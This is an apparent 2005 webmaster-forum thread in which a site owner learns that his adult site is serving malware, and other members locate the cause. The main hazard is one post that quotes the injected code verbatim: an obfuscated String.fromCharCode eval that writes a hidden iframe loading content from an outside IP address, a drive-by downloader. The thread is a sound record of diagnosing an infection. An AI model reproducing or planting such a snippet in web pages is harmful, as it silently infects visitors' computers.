Virus infected my domain??

tortus32 · 2005-04-08, 11:45 AM

Someone just emailed me saying that when they visited shoekittens.com their virus protection software told them the site had a virus.

I'm on a Mac, and I don't have any such virus stuff with any of my browsers, so I can't tell if it's true or not.

I already started a support ticket with my hosting provider to see what they think.

Strange!

Bill

Cleo · 2005-04-08, 11:54 AM

Look and see if you find any snips of code on your pages

tortus32 · 2005-04-08, 11:57 AM

I wouldn't even know what to look for :o(
I'll go see if I see anything strange I guess.

Thanks,

Bill

tortus32 · 2005-04-08, 11:59 AM

I checked the main page and I don't see anything strange...hmmm.

Bill

Cleo · 2005-04-08, 12:09 PM

Look for iframe stuff on your pages.

That or anything that doesn't look like it is part of your normal html code.

tortus32 · 2005-04-08, 12:14 PM

Yeah, I looked and didn't find anything like that. I even checked it against the files on my computer and tehy're identical.

I guess this guy just has some whacked out virus protection software that isn't working right?

I got a reply from the hosting provider and they said they can't find anything either, so I guess I'm Ok then.

Thanks,

Bill

Cleo · 2005-04-08, 12:17 PM

BTW, Nice to see another Mac user on the board.

tortus32 · 2005-04-08, 12:23 PM

Mac's Rule! PC's Drool!

http://www.cafepress.com/theturtlebox/138108

Bill

Cleo · 2005-04-08, 12:30 PM

I like the bag

http://www.cafepress.com/theturtlebox.6960308

Head Boy · 2005-04-08, 01:20 PM

It's probably the guys computer that's screwed. I'm not sure how you can ask him that though - he's probably on AOL and running Norton so he thinks he's invulnerable.

DementedWynter · 2005-04-08, 03:10 PM

OK I jumped out of lurkdom for this one.

Curiosity killed me and I went to your site... scrolled down past the models and clicked on the MORE MODELS link.

Norton IMMEDIATELY popped up with a Virus detection (I am using IE and do NOT have AOL).

It says it is the "Trojan.ByteVerify" virus.

Hope that helps... there IS something there! |ohhhhh|

http://securityresponse.symantec.com...yteverify.html

So it may be something you did with your own code?????

HC-Majick · 2005-04-08, 03:18 PM

yep, there's garbage on the first more models page. trojan.downloader, some vbs script that pops up help window. I'm running Kaspersky and Trend Micro AV.

Cleo · 2005-04-08, 03:21 PM

I'm guessing that this is it.
On this page just before the closing body tag.
http://shoekittens.com/free/index2.html

Code:

 <script language=javascript>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,56,50,46,49,55,57,46,49,55,48,46,49,49,47,117,108,48,48,54,47,39,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,62,60,47,105,102,114,97,109,101,62,34,41))</script>

tortus32 · 2005-04-08, 03:23 PM

Ok, I think I fixed it.

Thanks!

Bill

Cleo · 2005-04-08, 03:30 PM

But how did that get on your pages in the first place?

tortus32 · 2005-04-08, 03:48 PM

Quote:

Originally Posted by Cleo

But how did that get on your pages in the first place?

It was a java script that someone gave me as their recip or something like that. I can't even remember who it was.

Anyhow, I didn't even know it caused problems like that! I'm glad to be rid of it at least.

Thanks,

Bill

Bill · 2005-04-08, 04:38 PM

You should tell us who gave that script to you so we can watch out for his nasty theiving virus-infecting ways...

2005-04-08, 11:45 AM	#1
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	Virus infected my domain?? Someone just emailed me saying that when they visited shoekittens.com their virus protection software told them the site had a virus. I'm on a Mac, and I don't have any such virus stuff with any of my browsers, so I can't tell if it's true or not. I already started a support ticket with my hosting provider to see what they think. Strange! Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 11:54 AM	#2
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	Look and see if you find any snips of code on your pages __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-04-08, 11:57 AM	#3
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	I wouldn't even know what to look for :o( I'll go see if I see anything strange I guess. Thanks, Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 11:59 AM	#4
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	I checked the main page and I don't see anything strange...hmmm. Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 12:09 PM	#5
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	Look for iframe stuff on your pages. That or anything that doesn't look like it is part of your normal html code. __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-04-08, 12:14 PM	#6
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	Yeah, I looked and didn't find anything like that. I even checked it against the files on my computer and tehy're identical. I guess this guy just has some whacked out virus protection software that isn't working right? I got a reply from the hosting provider and they said they can't find anything either, so I guess I'm Ok then. Thanks, Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 12:17 PM	#7
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	BTW, Nice to see another Mac user on the board. __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-04-08, 12:23 PM	#8
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	Mac's Rule! PC's Drool! http://www.cafepress.com/theturtlebox/138108 Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 12:30 PM	#9
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	I like the bag http://www.cafepress.com/theturtlebox.6960308 __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-04-08, 01:20 PM	#10
Head Boy Hello, is this President Clinton? Good! I figured if anyone knew where to get some tang it would be you Join Date: Feb 2005 Location: England Posts: 442	It's probably the guys computer that's screwed. I'm not sure how you can ask him that though - he's probably on AOL and running Norton so he thinks he's invulnerable. __________________ Adult domain names for sale at Baronets Splinkies have arrived

2005-04-08, 03:10 PM	#11
DementedWynter Internet! Is that thing still around? Join Date: Apr 2005 Posts: 5	OK I jumped out of lurkdom for this one. Curiosity killed me and I went to your site... scrolled down past the models and clicked on the MORE MODELS link. Norton IMMEDIATELY popped up with a Virus detection (I am using IE and do NOT have AOL). It says it is the "Trojan.ByteVerify" virus. Hope that helps... there IS something there! \|ohhhhh\| http://securityresponse.symantec.com...yteverify.html So it may be something you did with your own code?????

2005-04-08, 03:18 PM	#12
HC-Majick You can now put whatever you want in this space :) Join Date: Oct 2004 Location: Upstate NY Posts: 541	yep, there's garbage on the first more models page. trojan.downloader, some vbs script that pops up help window. I'm running Kaspersky and Trend Micro AV. __________________ Submit Your Freesites:

2005-04-08, 03:23 PM	#14
tortus32 A little nonsense, now and then, is relished by the wisest men Join Date: Jan 2005 Location: Montague, NJ Posts: 628	Ok, I think I fixed it. Thanks! Bill __________________ TrafficHolder.com - Buy/Sell Adult Traffic

2005-04-08, 03:30 PM	#15
Cleo Subversive filth of the hedonistic decadent West Join Date: Mar 2003 Location: Southeast Florida Posts: 27,936	But how did that get on your pages in the first place? __________________ Free Rides on Uber and Lyft Uber Car: uberTzTerri Lyft Car: TZ896289

2005-04-08, 04:38 PM	#17
Bill Selling porn allows me to stay in a constant state of Bliss - ain't that a trip! Join Date: Apr 2003 Posts: 3,914	You should tell us who gave that script to you so we can watch out for his nasty theiving virus-infecting ways...